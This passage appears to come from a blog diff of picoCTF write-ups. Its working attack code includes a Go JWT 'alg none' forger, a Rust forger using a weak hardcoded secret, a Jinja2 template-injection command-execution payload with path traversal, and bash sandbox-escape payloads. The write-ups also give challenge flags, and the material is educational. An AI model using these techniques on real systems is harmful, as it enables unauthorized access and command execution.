ssh -i key_file -p 61948 ctf-player@saturn.picoctf.net
```
We get a successful login as the user `ctf-player`. Let's list the files in our
home directory.
```bash
ctf-player@challenge:~$ ls
```
```none
flag.txt
```
We'll view the contents of the `flag.txt` file.
```bash
ctf-player@challenge:~$ cat flag.txt
```
```none
picoCTF{k3y_5l3u7h_af277f77}
```
# Operation Orchid
We are provided with a disk image `disk.flag.img.gz` which we'll decompress with:
```bash
gunzip disk.flag.img.gz
```
Let's look at the partition table using `mmls`.
```bash
mmls disk.flag.img
```
```none
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)
```
Listing the volume at offset `2048` using `fls`, we see a boot partition.
```bash
fls -o 2048 ./disk.flag.img
```
```none
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585: $OrphanFiles
```
We'll move on to the next Linux partition at offset `411648`.
```bash
fls -o 411648 ./disk.flag.img
```
```none
d/d 460: home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 81: proc
d/d 82: dev
d/d 83: tmp
d/d 84: lib
d/d 87: var
d/d 96: usr
d/d 106: bin
d/d 120: sbin
d/d 466: media
d/d 470: mnt
d/d 471: opt
d/d 472: root
d/d 473: run
d/d 475: srv
d/d 476: sys
d/d 2041: swap
V/V 51001: $OrphanFiles
```
Let's try listing the home folder of the root user at `/root`.
```none
d/d 472: root
```
We'll use its inode number, `472`.
```bash
fls -o 411648 ./disk.flag.img 472
```
```none
r/r 1875: .ash_history
r/r * 1876(realloc): flag.txt
r/r 1782: flag.txt.enc
```
We can dump the contents of the `flag.txt` file using `icat` like we did
previously.
```bash
icat -o 411648 ./disk.flag.img 1876
```
```none
-0.881573 34.311733
```
A set of coordinates? Latitudes and longitudes? Not very helpful.
Let's dump `flag.txt.enc` to a file we can work on later.
```bash
icat -o 411648 ./disk.flag.img 1782 > flag.txt.enc
```
Let's investigate the shell history to see what the root user was upto the last time.
```bash
icat -o 411648 ./disk.flag.img 1875
```
```none
touch flag.txt
nano flag.txt
apk get nano
apk --help
apk add nano
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
```
Ah! So they encrypted the original `flag.txt` with AES256 using the `openssl` command.
We can see the key that was supplied to the command with the `-k` flag.
Now that we know the key, we can decrypt the `flag.txt.enc` file.
We'll use the `-d` flag for decryption, set the input file, the argument to the `-in` flag,
to `flag.txt.enc` and omit the `-out` flag so that it outputs to `stdout`.
```bash
openssl aes256 -d -salt -in flag.txt.enc -k unbreakablepassword1234567
```
```none
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140377178797312:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:crypto/evp/evp_enc.c:610:
picoCTF{h4un71ng_p457_17237fce}
```
There we have it, we've captured the flag.

View File

@@ -0,0 +1,311 @@
---
title: "PicoCTF SansAlpha Writeup"
date: 2025-01-05T11:55:52+05:30
draft: false
tags:
- PicoCTF
- Bash
- Sandbox Escape
- Python
- CTF
---
Hey everyone, since 2024 hasn't seen a lot of posts on this blog, I plan to
start this year off by going back to the roots.
I'll be focusing on posting more CTF writeups again! Today's challenge is
_SansAlpha_ from PicoCTF. The challenge description states
> The Multiverse is within your grasp! Unfortunately, the server that contains
the secrets of the multiverse is in a universe where keyboards only have numbers
and (most) symbols.
It is tagged as a _shell escape_, which means we will be dropped in a restricted
environment and our job would be to break out of the sandbox.
After launching and remoting into the machine with the given credentials, we are
greeted with a bash prompt.
```
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.5.0-1016-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Jan 5 06:15:52 2025 from 127.0.0.1
SansAlpha$
```
The moment we issue a command, however, we get an error saying an unknown character was detected.
```
SansAlpha$ id
SansAlpha: Unknown character detected
```
However, numerals and symbols still work. So we can still perform basic arithmetic like the following:
```sh
$((1+2))
```
```
bash: 3: command not found
```
Now the description makes more sense, we are only allowed to use numbers and
symbols as the input. Alphabets are forbidden, hence the title, _sans alpha_.
The hint for the challenge says
> Where can you get some letters?
We could get some letters perhaps by reading a file. To do that, we still need
to use some utility like `cat` and we need to supply a known filename.
Surprisingly enough, we can still trigger a division by zero error.
```sh
$((1/0))
```
```
bash: 1/0: division by 0 (error token is "0")
```
But of course, we can get some letters from the _errors!_
Here's an outline of our plan:
- Perform a command substitution with the `$(somecommand)` notation inside a string
- Ensure that the command substition returns an error
- Use the letters or substrings from the error for the next payload
We'll run the commands on a local machine first to make sure the outputs match our expectations.
Let's continue with the division by zero example. We want to perform this division inside
a subshell as a string substitution.
> Note: the syntax highlighter on my website is freaking out on this command.
The perfect bash highlighter doesn't exist.
```sh
"$( ((1/0)) )"
```
The inner two pairs of braces are performing the math. The outermost braces are
performing the command substitution. Thus, we are passing the arithmetic error
string `1/0: division by 0 (error token is "0")` as the command to be run.
We can check this by asking bash for the most recent command using the special
variable `$_`.
```sh
echo $_
```
Which gives us ... nothing? Well, that's because the error is being printed on
standard error `stderr` instead of the standard output `stdout`.
To pass the error as the next command to be evaluated, we need to redirect
`stderr` at file descriptor 2 to `stdout` at file descriptor 1 with a `2>&1`
expression.
```sh
"$( ((1/0)) 2>&1 )"
```
Now looking up the last command returns the error message.
```sh
echo $_
```
```
bash: ((: 1/0: division by 0 (error token is "0")
```
## Triggering a text editor
We can follow up with a substring from this error. The syntax for picking a substring in bash is
a bit different from other languages. It is of the form
```sh
${variable:offset:length}
```
- The `variable`, in our case `_`, is what stores the original string
- `offset` is where the substring begins
- `length` is how far the substring goes from the start
In fact, the di**vi**sion error message contains the substring `vi` which we could use to spin up the `vi` text editor.
To get that substring, we find its index. Let's use the index method in python for this.
```python
'bash: ((: 1/0: division by 0 (error token is "0")'.index('vi')
```
This gives us 17. Knowing that `vi` is 2 letters, we can build the following payload.
```sh
${_:17:2}
```
Since this payload depends on the error before it, we must detonate that first.
We will run the following on the picoCTF machine:
```sh
"$(((1/0)) 2>&1)"
${_:17:2}
```
```
bash: bash: ((: 1/0: division by 0 (error token is "0"): No such file or directory
bash: vi: command not found
```
Looks like one of the most ubiquitous text editors isn't available on this machine!
If we were to successfully launch `vi`, we could type the sequence `:!` followed
by a command to execute it in a shell.
## Getting a lay of the land
We can still gather letters from other error messages. Let's take a look around
to get a feel for where the flag might be. To list the contents of the current
directory, we need to run the `ls` command.
As there's no letter 'l' in the division by zero error, we could trigger a
different error like trying to source a nonexistent file like `1` using the
dot command.
```
"$(. 1 2>&1)"
```
```
bash: 1: No such file or directory
```
## Building gadgets
We can use the same substring technique as in the previous section to extract
characters from the error message. To automate this, we create a small python
function.
```python
def generate(haystack: str, to_build: str):
return ''.join(
"${{_:{}:1}}".format(
haystack.index(needle)
)
for needle in to_build
)
```
- `haystack` refers to the error message wherein we look for the letters
- `needle` represents each letter that come together `to_build` the command we want to issue.
The outputs of such small functions that work together to build a larger exploit
are call _"gadgets"_.
## Chaining gadgets
We can call the function like the following to build the payload for calling `ls`:
```python
msg = 'bash: 1: No such file or directory'
generate(msg, 'ls')
```
```sh
${_:19:1}${_:2:1}
```
Let's use this immediately after detonating the sourcing error.
Putting everything together, we'll run the following payload on the picoCTF machine.
```sh
"$(. 1 2>&1)"
${_:19:1}${_:2:1}
```
```
bash: bash: 1: No such file or directory: command not found
blargh on-calastran.txt
```
We find a directory called "blargh" and a text file called "on-calastran.txt" in
our working directory. Let's try to list the contents of the `blargh` directory
using `ls blargh`.
```python
generate(msg, 'ls blargh')
```
```
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 2, in generate
File "<stdin>", line 3, in <genexpr>
ValueError: substring not found
```
Why are we unable to generate a payload for this command? If we look closely, we
see this happens because the letter 'g' is not in the error message.
## Globbing to the rescue
We can always resort to globbing with `*/**`, matching all paths at depth 2. We
simply need to append it to the previous payload since special characters work
just fine.
```sh
"$(. 1 2>&1)"
${_:19:1}${_:2:1} */**
```
Running this on the picoCTF machine tells us that the flag resides in the
"blargh" directory.
```
blargh/flag.txt blargh/on-alpha-9.txt
```
We can view the contents of `flag.txt` using the `cat` utility.
To avoid matching the other `on-alpha-9.txt` file and printing its contents,
we can distinguish the `flag.txt` by its first letter 'f' in the glob. Thus, to
view the flag, our target command will be `cat */f*`.
Let's generate the gadget for this round.
```python
print(generate(msg, 'cat') + " */" + generate(msg, "f") + "*")
```
```sh
${_:14:1}${_:1:1}${_:30:1} */${_:17:1}*
```
We will append this to the first gadget and run them together.
```sh
"$(. 1 2>&1)"
${_:14:1}${_:1:1}${_:30:1} */${_:17:1}*
```
Running this on the picoCTF machine finally fetches us the flag!
```
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_b0d5e855}
```
I really enjoy coming back to these CTF challenges because they force you to
think out of the box.
That's all for now. I hope you learned something. See you soon!

View File

@@ -0,0 +1,146 @@
---
title: "JAuth"
tags:
- Authentication Bypass
- CTF
- JWT
- PicoCTF
- Web
date: 2022-02-22T14:49:34+05:30
draft: false
---
The challenge description states that most web application developers use third party components without testing their security.
It mentions some past affected companies, then asks us to identify and exploit the vulnerable component for the challenge at http://saturn.picoctf.net:52025/
The goal is to become an `admin`.
We are provied with the username `test` and the password `Test123!` to look around.
The challenge is a dummy bank portal. On login, we see the message:
> Hello, You have logged in the testing page. There is nothing to see here.
While logging in, if we check the network requests and responses,
we can see a cookie named `token` being set.
```none
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9.dy45xnUb62Xnhqgo51JmGWRthAUGS-3jKwQ_RlDYCrw; path=/; httponly
```
On taking a closer look, the cookie looks like a [JSON web token](https://en.wikipedia.org/wiki/JSON_Web_Token).
JSON web tokens comprise three base64 encoded parts, each separated by a `.`
These include:
- Header
- Payload
- Verification signature
> We can make this educated guess since the value begins with `eyJ` which partially decodes to `{"`
For this token, we can base64 decode the header and the payload like so:
### Header
`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9`
decodes to
`{"typ":"JWT","alg":"HS256"}`
### Payload
`eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9`
decodes to
`{"auth":1645518293119,"agent":"Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0","role":"user","iat":1645518293}`
Decoding the signature would result in non-printable characters since it is the base64 representation of the HS256
or [HMAC](https://en.wikipedia.org/wiki/HMAC) [SHA256](https://en.wikipedia.org/wiki/SHA-2) digest of the header,
payload and a 256 bit secret.
Other algorithms include RSA256 (RSA SHA256), ES256 (ECDSA SHA256) and the like.
For forging an admin's cookie, we would need to modify the `"role"` field in the payload to `"admin"`.
However, if we do so, the verification signature becomes invalid for the payload. The only way we can
generate a valid signature is by knowing the 256 bit secret.
If we pay close attention to the header, we see that the verification algorithm is specified in the cookie.
We can modify the `"alg"` field of the header to `"none"` and omit the verification signature completely.
The trailing dot following the encoded payload must be present.
So, I wrote a little Golang program to do just that.
```go
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"log"
"os"
"strings"
)
// modify decodes a base64 encoded part of the token,
// and sets the `whence` field to the value supplied as `what`
func modify(part, whence, what string) (string, error) {
// b has the base64 decoded bytes
b, err := base64.URLEncoding.DecodeString(part)
if err != nil {
return "", err
}
// unmarshal the json data to the structure `p`
p := make(map[string]interface{})
err = json.Unmarshal(b, &p)
if err != nil {
return "", err
}
// set the `whence` field to `what`
p[whence] = what
// marshal the modified structure back to json
marshalled, err := json.Marshal(p)
if err != nil {
return "", err
}
// return the modified part, encoded with base64
return strings.Replace(base64.URLEncoding.EncodeToString(marshalled), "=", "", -1), nil
}
func main() {
// print usage if token is not supplied
if len(os.Args) < 2 {
fmt.Fprintf(os.Stderr, "Usage:\n\t%s <token>\n", os.Args[0])
os.Exit(1)
}
// split the parts
parts := strings.Split(os.Args[1], ".")
// set the last part to empty since we would not need it
parts[2] = ""
part, err := modify(parts[0], "alg", "none")
if err != nil {
log.Fatalln(err)
}
parts[0] = part
part, err = modify(parts[1], "role", "admin")
if err != nil {
log.Fatalln(err)
}
parts[1] = part
// join the parts back
fmt.Printf("Forged token: %v\n", strings.Join(parts, "."))
}
```
Now we run:
```bash
go run main.go eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjQ1NTE4MjkzMTE5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDU1MTgyOTN9.dy45xnUb62Xnhqgo51JmGWRthAUGS-3jKwQ_RlDYCrw
```
which gives forged token: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6OTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC85Ny4wIiwiYXV0aCI6MTY0NTUxODI5MzExOSwiaWF0IjoxNjQ1NTE4MjkzLCJyb2xlIjoiYWRtaW4ifQ.`
Manually setting the cookie to this value, we are redirected to the admin page.
> Hello, admin! You have logged in as admin!
and we are greeted with the flag `picoCTF{succ3ss_@u7h3nt1c@710n_57072644}`

View File

@@ -0,0 +1,140 @@
---
title: "Notepad"
tags:
- CTF
- Jinja2
- Path Traversal
- PicoCTF
- Python
- Web
date: 2022-02-21T09:24:30+05:30
draft: false
---
At first glance the webapp looks like a stripped down version of Pastebin where we can post a text / code snippet.
After submitting the query, we are redirected to an html page containing the content of the post.
The first thing I tried was triggering XSS (cross site scripting) with the following:
```html
<script>alert(1)</script>
```
The application source directory tree looks like the following:
```
.
├── app.py
├── Dockerfile
├── flag.txt
├── static
└── templates
├── errors
│ ├── bad_content.html
│ └── long_content.html
└── index.html
```
Let's inspect the `app.py` source.
```python
from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html", error=request.args.get("error"))
@app.route("/new", methods=["POST"])
def create():
content = request.form.get("content", "")
if "_" in content or "/" in content:
return redirect(url_for("index", error="bad_content"))
if len(content) > 512:
return redirect(url_for("index", error="long_content", len=len(content)))
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
with open(name, "w") as f:
f.write(content)
return redirect(name)
```
Ok, so the application returns the `bad_content` message when it sees a slash or an underscore.
However, we can notice that an attacker has partial control over the error message template.
```python
@app.route("/")
def index():
return render_template("index.html", error=request.args.get("error"))
```
The content we post gets uploaded to the static directory and the filename consists of the first 128 characters of the content, a hyphen and an 8 character url-safe random token.
```python
name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
```
So, we can upload a valid Jinja2 template to errors directory, then use the filename in the error parameter tp render it through Jinja.
We can use a backslash instead of a forward slash along with double periods (`..`) for path traversal. From the static directory we'll go:
path | explanation
---- | ----
`..` | up to the root of the app
`..\templates\` | into templates
`..\templates\errors\` | then into errors
We'll fill the remainder of the first 128 characters of the content to `A`s so that the filename does not get messed up.
Next up, using the right payload. I picked the following up from PayloadAllTheThings
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```
We have to bypass the underscores and it would be better if we could control the command.
The command can be passed through a request parameter and so can the underscore be.
We'll pass the underscore to the parameter `u` and retrieve it in the template using `request.args.u`.
Similarly, we'd retrieve the command `c` using `request.args.c`.
So
```python
cycler.__init__.__globals__
```
becomes
```python
cycler[request.args.u*2+'init'+request.args.u*2][request.args.u*2+'globals'+request.args.u*2]
```
Putting it all together, we have:
```python
..\templates\errors\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
{{cycler[request.args.u*2+'init'+request.args.u*2][request.args.u*2+'globals'+request.args.u*2].os.popen(request.args.c).read()}}
```
Note the `request.args.c` passed to `os.popen` for the commands we would run.
After uploading the payload we are rediected to a not found page.
https://notepad.mars.picoctf.net/templates/errors/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0.html
Let's now cause the app render our custom _"error"_ page. We'll also set the get parameter `u` to `_` and `c` to the command to run.
https://notepad.mars.picoctf.net/?errors=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-xcdn7y8bhU0&u=_&c=COMMAND
Setting `c` to the `ls` command, we get:
```none
app.py
flag-c8f5526c-4122-4578-96de-d7dd27193798.txt
static
templates
```
Let's view the flag file. We'll set `c` to `cat%20flag-c8f5526c-4122-4578-96de-d7dd27193798.txt`
There's our flag!
```
picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n}
```

View File

@@ -0,0 +1,156 @@
---
title: "Java Code Analysis!?!"
tags:
- CTF
- Java
- JWT
- PicoCTF
- Web
date: 2023-03-18T07:10:17+05:30
draft: false
---
To get started we are given the username "user" and password "user" to log into the BookShelf Pico web application.
We are also given the source code of the application.
Taking a look at the `src/main/java/io/github/nandandesai/pico/security` subdirectory of the project, we see that it uses JWT.
Interestingly, the file `SecretGenerator.java` in the aforementioned directory contains a weak hardcoded *"random"* value 😱.
```java
@Service
class SecretGenerator {
private Logger logger = LoggerFactory.getLogger(SecretGenerator.class);
private static final String SERVER_SECRET_FILENAME = "server_secret.txt";
@Autowired
private UserDataPaths userDataPaths;
private String generateRandomString(int len) {
// not so random
return "1234";
}
String getServerSecret() {
try {
String secret = new String(FileOperation.readFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME), Charset.defaultCharset());
logger.info("Server secret successfully read from the filesystem. Using the same for this runtime.");
return secret;
}catch (IOException e){
logger.info(SERVER_SECRET_FILENAME+" file doesn't exists or something went wrong in reading that file. Generating a new secret for the server.");
String newSecret = generateRandomString(32);
try {
FileOperation.writeFile(userDataPaths.getCurrentJarPath(), SERVER_SECRET_FILENAME, newSecret.getBytes());
} catch (IOException ex) {
ex.printStackTrace();
}
logger.info("Newly generated secret is now written to the filesystem for persistence.");
return newSecret;
}
}
}
```
This string "1234" is used as the secret for the JSON web token.
After logging into the webapp, we notice the following key value pair in our local storage (press `Shift` `F9`).
Key|Value
-|-
`auth-token`|`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk`
`token-payload`|`{"role":"Free","iss":"bookshelf","exp":1679669818,"iat":1679065018,"userId":1,"email":"user"}`
Let's write a quick program in Rust to tamper with the token.
Run the following to setup dependencies.
```sh
cargo new bookshelf
cd bookshelf
cargo add serde_json, frank_jwt, anyhow
```
Next, add the following to `src/main.rs`.
```rust
use anyhow::Result;
use frank_jwt::{decode, encode, Algorithm, ValidationOptions};
use serde_json::value::Value;
fn main() -> Result<()> {
let signing_key = "1234";
let encoded_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTY2OTgxOCwiaWF0IjoxNjc5MDY1MDE4LCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.7j5YSQOQMGw3NZ9ZVZG99UI0liH8vE7Jy4z2UWTMObk";
let algorithm = Algorithm::HS256;
let validation = ValidationOptions::default();
let (header, mut payload) = decode(
encoded_token,
&signing_key,
algorithm,
&validation
)?;
// tampering the payload
payload["role"] = Value::String("Admin".into());
let token = encode(header, &signing_key, &payload, algorithm)?;
println!("{}", payload);
println!("{}", token);
Ok(())
}
```
Here, we have decoded the token, modified the `role` to `Admin` and re-encoded the token using the signing key.
To run the program, issue the command
```
cargo run
```
Now in our browser, we set the `token-payload` and `auth-token` to each line of the output respectively.
If we reload the page, we see that although we have the admin role, we cannot read the flag book. At the admin dashboard at `/#/admindash`, we can see the requests to `/base/users` in the network tab (press `Ctrl` `Shift` `E`). From here we can see that admin has the associated `userId` of `2` and `email` of `admin`.
```json
{
"type": "SUCCESS",
"payload": [
{
"id": 1,
"email": "user",
"fullName": "User",
"lastLogin": "2023-03-17T14:56:58.339637063",
"role": "Free"
},
{
"id": 2,
"email": "admin",
"fullName": "Admin",
"lastLogin": "2023-03-17T14:51:39.063583433",
"role": "Admin"
}
]
}
```
In our program, we will further modify the `userId` to `2` and email to `admin` under the tampering section.
```rust
payload["email"] = Value::String("admin".into());
payload["userId"] = Value::Number(2.into());
```
Rerun the program with
```sh
cargo run
```
and set the `token-payload` and `auth-token` in our browser to the new payload and encoded token from the program's output respectively.
Now we can go to the main page and click on the flag book. There, we get the following flag.
```
picoCTF{w34k_jwt_n0t_g00d_6e5d7df5}
```

View File

@@ -0,0 +1,189 @@
---
title: "Java Script Kiddie 2"
tags:
- CTF
- Image Reconstruction
- Javascript
- Reverse Engineering
- PicoCTF
- Web
date: 2023-03-03T09:47:54+05:30
draft: false
---
## The challenge
This is a web challenge involving javascript, meaning most of the solution is
going to be client side. We are asked to visit the [challenge
page](http://jupiter.challenges.picoctf.org:42899/).
From here, we can view the source code of the page.
```html
<html>
<head>
<script src="jquery-3.3.1.min.js"></script>
<script>
var bytes = [];
$.get("bytes", function(resp) {
bytes = Array.from(resp.split(" "), x => Number(x));
});
function assemble_png(u_in){
var LEN = 16;
var key = "00000000000000000000000000000000";
var shifter;
if(u_in.length == key.length){
key = u_in;
}
var result = [];
for(var i = 0; i < LEN; i++){
shifter = Number(key.slice((i*2),(i*2)+1));
for(var j = 0; j < (bytes.length / LEN); j ++){
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
}
}
while(result[result.length-1] == 0){
result = result.slice(0,result.length-1);
}
document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
return false;
}
</script>
</head>
<body>
<center>
<form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
<input type="text" id="user_in">
<input type="submit" value="Submit">
</form>
<img id="Area" src=""/>
</center>
</body>
</html>
```
Let's break it down. We are going to begin with the contents in the script
tags. First, the script fetches a blob of whitespace separated numbers into the
variable `bytes`.
```js
var bytes = [];
$.get("bytes", function(resp) {
bytes = Array.from(resp.split(" "), x => Number(x));
});
```
It will be a good idea to download a copy of these bytes for ourselves.
```sh
wget http://jupiter.challenges.picoctf.org:42899/bytes
```
The function `assemble_png` takes a 32 characters long key as an input, as is evident from the length of the variable key and the assignment of `u_in` to key only when their lengths match.
```js
var LEN = 16;
var key = "00000000000000000000000000000000";
var shifter;
if(u_in.length == key.length){
key = u_in;
}
```
The function then iterates over the key to store every other byte into the `shifter`.
```js
shifter = Number(key.slice((i*2),(i*2)+1));
```
The inner loop then fills up 16 contiguous bytes of the `result` array from the index `j * LEN` by a table lookup into the `bytes` array initialized earlier.
```js
for(var j = 0; j < (bytes.length / LEN); j ++) {
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
}
```
## Solution
Let's write a python script to automate searching for the key. We can narrow down our key space since a PNG file has its header (first set of bytes) as `\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR`.
We will use numpy to broadcast arithmetic operations over all elements of a tensor (rank 1 here, meaning an array). Since the key has one byte from the PNG header and another unknown byte
alternatively, we can begin by using a dummy byte like 'A' for all those spaces.
We then try to generate an image from the resultant byte array and validate it with the python image library (PIL). If the validation succeeds, we can end the search and save the image.
```py
import itertools
from itsdangerous import base64_encode
from PIL import Image, UnidentifiedImageError
import numpy as np
import io
LEN = 16
with open('bytes') as handle:
blob = np.array([int(x.strip()) for x in handle.read().split(',')])
BLEN = len(blob)
J = BLEN // LEN
crib = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"
charset = [set()] * LEN
def is_png(key) -> bool:
result = bytearray(BLEN)
for i in range(LEN):
shifter = ord(key[i * 2])
for j in range(J):
result[(j * LEN) + i] = blob[(((j + shifter) * LEN) % BLEN) + i]
result.rstrip(b'\x00')
try:
image = Image.open(io.BytesIO(result))
image.save(base64_encode(key).decode() + ".png")
except UnidentifiedImageError:
return False
return True
def main():
# 255 is the maximum value for a u8
shifter = np.arange(256)
for i in range(LEN):
for j in range(J):
crib_index = (j * LEN) + i
if crib_index >= len(crib):
continue
interp = (((shifter + j) * LEN) % BLEN) + i
p = shifter[np.in1d(interp, np.where(blob == crib[crib_index])[0])]
charset[i] = charset[i].union(p)
for char in itertools.product(*charset):
key = "A".join(map(chr, char))
if is_png(key):
print(key)
return
if __name__ == "__main__":
main()
```
Running this script, we get the following image in `B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png`.
![B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png](/B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png)
Since this appears to be a QR code, the only thing left to do is scan the image with a tool like `zbarimg`.
```sh
zbarimg B0EGQQFBBkEAQQdBw6BBAUEFQQBBAEEAQQJBAEEIQQU.png
```
This yields us the flag.
```
QR-Code:picoCTF{227c2d3465a6a4bcc8a1bc599e34f074}
scanned 1 barcode symbols from 1 images in 0.03 seconds
```

View File

@@ -0,0 +1,374 @@
---
title: "Some Assembly Required 3"
tags:
- CTF
- PicoCTF
- Reverse Engineering
- Web
- WebAssembly
date: 2023-02-09T16:39:08+05:30
draft: false
---
This is a web exploitation challenge from 2021. It's pretty old but
has less solves as of writing this post. I figured, it's worth talking
about.
We are told to visit
[http://mercury.picoctf.net:60022/index.html](http://mercury.picoctf.net:60022/index.html)
where we find a simple textbox prompting us to submit the flag.
Looking at the page source by pressing `ctrl` `u`, we see that it is sourcing javascript code from `rTEuOmSfG3.js`.
```html
<script src="rTEuOmSfG3.js"></script>
```
While examining the javascript, we will notice that it is obfuscated and
packed. Put this through [de4js](https://lelinhtinh.github.io/de4js/) to
prettify it.
```js
const _0x143f = ['exports', '270328ewawLo', 'instantiate', '1OsuamQ', 'Incorrect!', 'length', 'copy_char', 'value', '1512517ESezaM', 'innerHTML', 'check_flag', 'result', '1383842SQRPPf', '924408cukzgO', 'getElementById', '418508cLDohp', 'input', 'Correct!', '573XsMMHp', 'arrayBuffer', '183RUQBDE', '38934oMACea'];
const _0x187e = function (_0x3075b9, _0x2ac888) {
_0x3075b9 = _0x3075b9 - 0x11d;
let _0x143f7d = _0x143f[_0x3075b9];
return _0x143f7d;
};
(function (_0x3379df, _0x252604) {
const _0x1e2b12 = _0x187e;
while (!![]) {
try {
const _0x5e2d0a = -parseInt(_0x1e2b12(0x122)) + -parseInt(_0x1e2b12(0x12f)) + -parseInt(_0x1e2b12(0x126)) * -parseInt(_0x1e2b12(0x12b)) + -parseInt(_0x1e2b12(0x132)) + parseInt(_0x1e2b12(0x124)) + -parseInt(_0x1e2b12(0x121)) * -parseInt(_0x1e2b12(0x11f)) + parseInt(_0x1e2b12(0x130));
if (_0x5e2d0a === _0x252604) break;
else _0x3379df['push'](_0x3379df['shift']());
} catch (_0x289152) {
_0x3379df['push'](_0x3379df['shift']());
}
}
}(_0x143f, 0xed04c));
let exports;
(async () => {
const _0x484ae0 = _0x187e;
let _0x487b31 = await fetch('./qCCYI0ajpD'),
_0x5eebfd = await WebAssembly[_0x484ae0(0x125)](await _0x487b31[_0x484ae0(0x120)]()),
_0x30f3ed = _0x5eebfd['instance'];
exports = _0x30f3ed[_0x484ae0(0x123)];
})();
function onButtonPress() {
const _0x271e58 = _0x187e;
let _0x441124 = document[_0x271e58(0x131)](_0x271e58(0x11d))[_0x271e58(0x12a)];
for (let _0x34c54a = 0x0; _0x34c54a < _0x441124[_0x271e58(0x128)]; _0x34c54a++) {
